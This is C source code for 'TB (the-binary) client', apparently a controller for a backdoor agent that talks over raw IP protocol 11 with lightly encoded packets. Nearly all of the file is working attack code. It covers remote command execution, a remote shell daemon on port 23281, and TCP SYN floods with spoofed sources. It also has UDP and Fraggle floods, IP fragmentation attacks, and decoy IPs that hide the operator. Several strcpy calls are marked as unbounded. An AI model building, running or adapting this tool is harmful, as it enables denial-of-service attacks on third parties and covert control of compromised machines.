/* This program is only tested on RH Linux 7.2. And it's for testing purpose only. To build, "gcc -o handler handler.c" Warning: the 'use_hostname' option is never tested in any commands. Warning: the help information and debugging output may be inconsistent and confusing. */ #include #include #include #include #include #include #include jmp_buf env; #define TIMEOUT 5 #define HELP "?" #define STAT "stat" #define MYIP "myip" #define EXEX "rcmd" #define UDP "udp" #define FRAG "frag" #define RSHD "rshd" #define EXEC "bcmd" #define KILL "kill" #define UDPX "udpx" #define TCP "tcp" #define TCPX "tcpx" #define UDPF "udpf" #define QUIT "quit" #define RIP "rip" #define HSTAT "stat command takes no parameters." #define HMYIP "myip o client_ip\n\ option 'o':\n\ \t0 Just stroe my IP\n\ \t1 Generate 10 random IP addresses and store my IP at the first position.\n\ \t2 Generate 10 random IP addresses and store my IP at a random position.\n\ For example,\n\ \tmyip 2 192.168.2.2\ " #define HEXEX "rcmd command\n\ For example,\n\ \trcmd ps x" #define HUDP "udp \ dst_ip port use_hostname hostname\n\ For example, \n\ \t udp 192.168.2.4 21 0 dummy\n\ This Fraggle style flooder will pause after each send." #define HFRAG "frag \ is_udp udp_port dst_ip src_ip use_hostname hostname\n\ For example,\n\ \tfrag 0 0 192.168.2.4 192.168.2.5 0 dummy\n\ The flooder will carry out an ICMP IP fragmentation attack.\n\ \tfrag 1 80 192.168.2.4 192.168.2.5 0 dummy\n\ The flooder will carry out a UDP IP fragmentation attack." #define HRSHD "rshd takes no parameters" #define HEXEC "bcmd command" #define HKILL "kill takes no parameters" #define HUDPX "udpx \ dst_ip port speed_control use_hostname hostname\n For example,\n\ \tudpx 192.168.218.136 135 40 0 dummy\n\ The flooder will pause after every 40 sends." #define HTCP "tcp \ dst_ip port fixed_src src_ip use_hostname hostname\n\ For example,\n\ \t tcp 192.168.218.136 135 0 9.9.9.9 0 dummy\n\ The TCP SYN flooder will use random source IP address." #define HTCPX "tcpx \ dst_ip port fixed_src src_ip speed_control use_hostname hostname\n\ For example,\n\ \t tcp 192.168.218.136 135 1 192.168.218.162 40 0 dummy\n\ The TCP SYN flooder will use 192.168.218.162 as source IP address.\n\ And will pause after every 40 sends." #define HUDPF "udpf \ dst_ip src_ip speed_control port use_hostname hostname\n\ For example, \t udpf 192.168.218.160 192.168.218.136 40 135 0 dummy\n\ The machine with src_ip is the target. This Fraggle style \ flooder will pause after every 40 sends." #define HQUIT "quit takes no parameters" #define HRIP "rip remote_agent_ip\n\ For example,\n\ \trip 192.168.2.4 to prepare the client to talk to an agent at 192.168.2.4" struct cmdhlp { char *cmd; char *hlp; }; struct cmdhlp hlpstrs[] ={ {HELP, "Huh?"}, {STAT, HSTAT}, {MYIP, HMYIP}, {EXEX, HEXEX}, {UDP, HUDP}, {FRAG, HFRAG}, {RSHD, HRSHD}, {EXEC, HEXEC}, {KILL, HKILL}, {UDPX, HUDPX}, {TCP, HTCP}, {TCPX, HTCPX}, {UDPF, HUDPF}, {QUIT, HQUIT}, {RIP, HRIP}, }; #define arraysize(x) sizeof(x)/sizeof(x[0]) typedef unsigned char byte; #define check_not_null(ptr, buf) { \ if (ptr == NULL) { \ fprintf(stderr, "Invalid format %s.\n", buf); \ return; \ } \ } #define iptok(data, buf, msg_buf) { \ int i; \ char *ptr; \ for (i = 0; i < 4; i++){ \ if ( i == 0 && buf ){ \ ptr = strtok(buf, ". "); \ } \ else { \ ptr = strtok(NULL, ". "); \ } \ check_not_null(ptr, msg_buf); \ data[i] = (byte) atoi(ptr); \ } \ } #define MYINDENT "\t\t" struct ipdg { struct ip iph; byte sig; byte pad; byte payload[200]; }; struct in_addr ip_dst; struct ipdg com_hdr; int sock_fd = 0; struct sockaddr_in sa_in; void encode(unsigned int len, unsigned char *in, unsigned char *out); void timeout(int signo){ longjmp(env, 1); } void send_data(u_long dst, byte *data){ struct ipdg adg; memcpy(&adg, &com_hdr, sizeof(struct ip) + 2); adg.iph.ip_dst.s_addr = dst; encode(200, data, adg.payload); if(sendto(sock_fd, &adg, sizeof(adg), (int)NULL, (struct sockaddr *) &sa_in, sizeof(sa_in)) < sizeof(adg)){ fprintf(stderr, " truncated write"); } } void init_ip_hdr(struct ipdg* adg){ memset(adg, 0, sizeof(struct ipdg)); adg->iph.ip_v = 0x4; adg->iph.ip_hl = 0x5; adg->iph.ip_tos = 0; adg->iph.ip_len = sizeof(struct ipdg); adg->iph.ip_ttl = 0x40; adg->iph.ip_p = 0xb; adg->sig = 2; adg->pad = 0; } void encode(unsigned int len, unsigned char *in, unsigned char *out){ int i; out[0] = 0; sprintf((char *)out, "%c", in[0] + 0x17); for(i = 1; i != len; i++){ out[i] = in[i] + out[i-1] + 0x17; } } void my_decode(unsigned int len, unsigned char *in, unsigned char *out){ int tmp_char; int index; tmp_char = in[0] - 0x17; while (tmp_char < 0){ tmp_char += 0x100; } out[0] = tmp_char; for (index = 0; index < len; index++){ tmp_char = in[index] - in[index -1]; tmp_char -= 0x17; while (tmp_char < 0){ tmp_char += 0x100; } out[index] = (char) tmp_char; } } void my_ip(char *in_buf){ byte data[200]; int i, num; char *ptr; char *buf; bzero(data, 200); while(isspace(*in_buf)){ in_buf++; } buf = (char *) alloca(strlen(in_buf) + 1); strcpy(buf, in_buf); ptr = strtok(buf, " "); if (NULL == ptr){ fprintf(stderr, "Invalid format: %s\n", in_buf); return; } data[2] = atoi(ptr); ptr = strtok(NULL, "."); for (i = 3; i < 7; i++){ if (NULL == ptr){ fprintf(stderr, "Invalid format: %s\n", in_buf); return; } num = atoi(ptr); data[i] = num; ptr = strtok(NULL, "."); } data[1] = 2; send_data(ip_dst.s_addr, data); fprintf(stdout, "My IP: %u.%u.%u.%u and rand pos %u sent to the agent.\n", data[3], data[4], data[5], data[6], data[2]); } void query_status(){ byte data[500]; byte decoded_data[500]; int recv_fd; memset(data, 0, 500); data[1] = 1; if ((recv_fd = socket(AF_INET, SOCK_RAW, 11)) < 0){ printf("socket call failed.\n"); return; } if (signal(SIGALRM, timeout) == SIG_ERR){ fprintf(stderr, "signal call error.\n"); goto do_exit; } send_data(ip_dst.s_addr, data); if (setjmp(env)){ printf("Request timeout.\n"); goto do_exit; } alarm(TIMEOUT); while (recv(recv_fd, data, 500, 0) != -1){ if (data[9] == 11 && data[20] == 3){ my_decode(500, data + 22, decoded_data); printf("Header %d %d.\n", decoded_data[0], decoded_data[1]); printf("had pid: %d state: %d.\n", decoded_data[3], decoded_data[4]); alarm(0); break; } } do_exit: close(recv_fd); } void my_rcmd(char *cmd, int output){ #define V_SIZE 600 byte data[V_SIZE]; byte decoded_data[V_SIZE]; int size; int recv_fd; int len, i; size = V_SIZE; memset(data, 0, 500); if (output){ data[1] = 3; } else { data[1] = 7; } while (isspace(*cmd)){ cmd++; } //No bound checking. strcpy(data + 2, cmd); if (output){ if ((recv_fd = socket(AF_INET, SOCK_RAW, 11)) < 0){ printf("socket call failed.\n"); } send_data(ip_dst.s_addr, data); } else { send_data(ip_dst.s_addr, data); return; } //TODO, we need a timer here. while ((len = recv(recv_fd, data, V_SIZE, 0)) != -1){ if (data[9] == 11 && data[20] == 3){ my_decode(len - 22, data + 22, decoded_data); if (decoded_data[2] == 0){ break; } for (i = 2; i < 400; i++){ if (decoded_data[i] == 0){ break; } printf("%c", decoded_data[i]); } } } close(recv_fd); } void my_rshd(){ byte data[500]; memset(data, 0, 500); data[1] = 6; send_data(ip_dst.s_addr, data); } void my_kill(){ byte data[500]; memset(data, 0, 500); data[1] = 8; send_data(ip_dst.s_addr, data); } void tcp_syn_flood(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; unsigned int port; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf) + 1); bzero(data, 500); data[1] = 10; while (isspace(*buf)){ buf++; } holder = data + 2; iptok(holder, buf, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); port = atoi(ptr); data[6] = port >> 8; data[7] = port & 0xFF; ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Use src IP. data[8] = atoi(ptr); holder = data + 9; iptok(holder, NULL, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Use host name. data[13] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 14, ptr); fprintf(stderr, "Sending tcp syn flood parameters, " "dst ip %u.%u.%u.%u, port %u, use src ip %u, src ip %u.%u.%u.%u, use host name %u, host name %s\n", data[2], data[3], data[4], data[5], (data[6] << 8) + data[7], data[8], data[9], data[10], data[11], data[12], data[13], data + 14); send_data(ip_dst.s_addr, data); } void tcp_syn_floodx(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; unsigned int port; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf) + 1); bzero(data, 500); data[1] = 11; while (isspace(*buf)){ buf++; } holder = data + 2; iptok(holder, buf, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); port = atoi(ptr); data[6] = port >> 8; data[7] = port & 0xFF; ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Use src IP. data[8] = atoi(ptr); holder = data + 9; iptok(holder, NULL, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Speed control. data[13] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Use host name. data[14] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 15, ptr); fprintf(stderr, "Sending tcp syn flood parameters, " "dst ip %u.%u.%u.%u, port %u, use src ip %u," "src ip %u.%u.%u.%u, speed control %u, " "use host name %u, host name %s\n", data[2], data[3], data[4], data[5], (data[6] << 8) + data[7], data[8], data[9], data[10], data[11], data[12], data[13], data[14], data + 15); send_data(ip_dst.s_addr, data); } void udp_flood_nlist(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; unsigned int port; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf) + 1); bzero(data, 500); data[1] = 12; while (isspace(*buf)){ buf++; } holder = data + 2; iptok(holder, buf, in_buf); holder = data + 6; iptok(holder, NULL, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Speed control. data[10] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); port = atoi(ptr); data[11] = port >> 8; data[12] = port & 0xFF; ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Use host name. data[13] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 14, ptr); fprintf(stderr, "Sending udp nlist flood parameters, " "dst ip %u.%u.%u.%u, src ip %u.%u.%u.%u, speed control %u, port %u, use host name %u, host name %s\n", data[2], data[3], data[4], data[5], data[6] , data[7], data[8], data[9], data[10], (data[11] << 8) + data[12], data[13], data + 14); send_data(ip_dst.s_addr, data); } void print_usage(){ fprintf(stderr, "0. %s"MYINDENT" -print out this message\n" "1. %s"MYINDENT" -query remote daemon for its status\n" "2. %s"MYINDENT" -send my IP address to the daemon\n" "3. %s"MYINDENT" -remote command\n" "4. %s"MYINDENT" -DNS UDP flood with pause for each send\n" "5. %s"MYINDENT" -icmp or udp frag flood\n" "6. %s"MYINDENT" -start a rshd child (TCP port 23281)\n" "7. %s"MYINDENT" -blind remote command without output\n" "8. %s"MYINDENT" -kill the running child process of the daemon\n" "9. %s"MYINDENT" -DNS UDP flood with speed control\n" "a. %s"MYINDENT" -TCP SYN flood with pause for each send\n" "b. %s"MYINDENT" -TCP SYN flood with speed control\n" "c. %s"MYINDENT" -DNS UDP flood wiht speed control\n" "d. %s"MYINDENT" -quit\n", HELP, STAT, MYIP, EXEX, UDP, FRAG, RSHD, EXEC, KILL, UDPX, TCP, TCPX, UDPF, QUIT ); } void print_cmdhlp(char *buf){ char *ptr; int i; char * end; while (isspace(*buf)){ buf++; } ptr = buf; end = strlen(buf) + buf; while (ptr < end){ if (isspace(*ptr)){ *ptr = 0; break; } ptr++; } for (i = 0; i < arraysize(hlpstrs); i++){ if (strncmp(buf, hlpstrs[i].cmd, strlen(buf)) == 0){ fprintf(stderr, "%s\n", hlpstrs[i].hlp); return; } } fprintf(stderr, "Unknown command: %s\n", buf); print_usage(); } void frag_flood(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf + 1)); bzero(data, 500); data[1] = 5; while (isspace(*buf)){ buf++; } ptr = strtok(buf, " ."); check_not_null(ptr, in_buf); //Using UDP? data[2] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //UDP port number. data[3] = atoi(ptr); holder = data + 4; iptok(holder, NULL, in_buf); holder = data + 8; iptok(holder, NULL, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); data[12] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 13, ptr); fprintf(stderr, "Sending frag flood parameters, use UDP %u, UDP port %u, " "dst ip %u.%u.%u.%u, src ip %u.%u.%u.%u, use host name %u, host name %s\n", data[2], data[3], data[4], data[5], data[6], data[7], data[8], data[9], data[10], data[11], data[12], data + 13); send_data(ip_dst.s_addr, data); } void udp_flood(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; unsigned int port; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf) + 1); bzero(data, 500); data[1] = 4; while (isspace(*buf)){ buf++; } holder = data + 2; iptok(holder, buf, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); port = atoi(ptr); data[6] = port >> 8; data[7] = port & 0xFF; ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); data[8] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 9, ptr); fprintf(stderr, "Sending udp flood parameters, " "dst ip %u.%u.%u.%u, port %u, use host name %u, host name %s\n", data[2], data[3], data[4], data[5], (data[6] << 8) + data[7], data[8], data + 9); send_data(ip_dst.s_addr, data); } void udp_floodx(byte *in_buf){ byte data[500]; byte *ptr, *holder, *buf; unsigned int port; buf = (byte *) alloca(strlen(in_buf) + 1); memcpy(buf, in_buf, strlen(in_buf) + 1); bzero(data, 500); data[1] = 9; while (isspace(*buf)){ buf++; } holder = data + 2; iptok(holder, buf, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); data[6] = atoi(ptr); port = atoi(ptr); data[7] = port >> 8; data[8] = port & 0xFF; ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); data[9] = atoi(ptr); ptr = strtok(NULL, " ."); check_not_null(ptr, in_buf); //Hehe, no bound checking; strcpy(data + 10, ptr); fprintf(stderr, "Sending udp flood parameters, " "dst ip %u.%u.%u.%u, port %u, speed control %u, use host name %u, host name %s\n", data[2], data[3], data[4], data[5], (data[7] << 8) + data[8], data[6], data[9], data + 10); send_data(ip_dst.s_addr, data); } void set_remote_ip(char *buf){ while (isspace(*buf)){ buf++; } sa_in.sin_family = AF_INET; if ((sock_fd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0){ printf("socket call failed.\n"); } ip_dst.s_addr = inet_addr(buf); sa_in.sin_addr.s_addr = ip_dst.s_addr; fprintf(stderr, "The agent IP address is now %s.\n", buf); } void cleanup_exit(){ close(sock_fd); exit(0); } #define startwith(buf, str) (strncmp(buf, str, strlen(str)) == 0 && \ ((buf[strlen(str)] == ' ') || (buf[strlen(str)] == 0))) void cmd_parse(unsigned char *buf){ while (isspace(*buf)){ buf++; } if (buf[0] == '?'){ if (strlen(buf+1) > 0){ print_cmdhlp(buf+1); } else { print_usage(); } } else if (startwith(buf, STAT)){ query_status(); } else if (startwith(buf, MYIP)){ fprintf(stderr, "Setting my ip.\n"); my_ip(buf + strlen(MYIP)); } else if (startwith(buf, EXEX)){ fprintf(stderr, "Executing remote command with output.\n"); my_rcmd(buf + strlen(EXEX), 1); } else if (startwith(buf, UDP)){ fprintf(stderr, "Starting UDP flooding.\n"); udp_flood(buf + strlen(UDP)); } else if (startwith(buf, FRAG)){ fprintf(stderr, "Starting FRAG flooding.\n"); frag_flood(buf + strlen(FRAG)); } else if (startwith(buf, RSHD)){ fprintf(stderr, "Starting remote shell daemon.\n"); my_rshd(); } else if (startwith(buf, EXEC)){ fprintf(stderr, "Executing remote command without output.\n"); my_rcmd(buf + strlen(EXEX), 0); } else if (startwith(buf, KILL)){ fprintf(stderr, "Killing remote child process.\n"); my_kill(); } else if (startwith(buf, UDPX)){ fprintf(stderr, "Starting UDP flooding with speed control.\n"); udp_floodx(buf + strlen(UDP)); } else if (startwith(buf, TCP)){ fprintf(stderr, "Starting TCP flooding.\n"); tcp_syn_flood(buf + strlen(TCP)); } else if (startwith(buf, TCPX)){ fprintf(stderr, "Starting TCP flooding with speed control.\n"); tcp_syn_floodx(buf + strlen(TCPX)); } else if (startwith(buf, UDPF)){ fprintf(stderr, "Starting UDP flooding.\n"); udp_flood_nlist(buf + strlen(UDPF)); } else if (startwith(buf, QUIT)){ fprintf(stderr, "Bye.\n"); cleanup_exit(); } else if (startwith(buf, RIP)){ fprintf(stderr, "Setting remote IP address.\n"); set_remote_ip(buf + strlen(RIP)); } else { fprintf(stderr, "Unknown command: %s.\n", buf); print_usage(); } return; } void read_cmd(){ ssize_t count; unsigned char buf[256]; while(1){ fprintf(stderr, ">"); count = read(STDIN_FILENO, (void *) buf, 256); if (count >= 256){ fprintf(stdout, "Line too long!\n"); continue; } buf[count-1] = 0; if (strlen(buf) == 0) continue; cmd_parse(buf); } } void welcome_msg(){ fprintf(stderr, "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n" "TB (the-binary) client beta version 0.00001.\n" "Use command \"rip\" and \"myip\" to init remote and local IP addresses first.\n" "'?' for help.\n" "\"? command\" for command usage information.\n" "Please be patient. The help info is far from completion.\n" "++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n" ); } int main(int argc, char *argv[]){ welcome_msg(); init_ip_hdr(&com_hdr); read_cmd(); return 0; }